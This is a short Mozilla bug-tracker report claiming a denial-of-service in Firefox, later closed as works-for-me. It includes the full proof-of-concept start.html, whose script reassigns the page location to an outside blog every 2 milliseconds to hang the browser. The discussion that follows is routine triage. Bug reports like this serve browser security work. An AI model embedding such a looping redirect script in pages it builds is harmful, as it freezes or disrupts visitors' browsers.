1336913 - Denial of Service attack via location

Status: RESOLVED WORKSFORME

(Core :: DOM: Core & HTML, defect, P5)

Description

[Dhiraj Mishra]

Attachment: start.html

User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Build ID: 20170125094131

Steps to reproduce:

Steps to reproduce:
1. Open start.html 
2. Trying using mozilla. 


Actual results:

<html>
<title></title>
<script>
function d()
{
location = "https://datarift.blogspot.in"
}
setInterval("d()", 2);
</script>
</html>

Comment 1

[Dhiraj Mishra]

I am not able to reproduce this in Nightly FF its work perfect for me in Stable and Beta in Windows 7 
and Linux OS.

Comment 2

[Benjamin Smedberg]

DOS bugs aren't kept private, opening.

Comment 3

[Loic]

When reporting bugs like that, could you test in Nightly to know if the issue has been already fixed (sometimes it's the case) and test with mozregression (with flag --find-fix) to find a working range.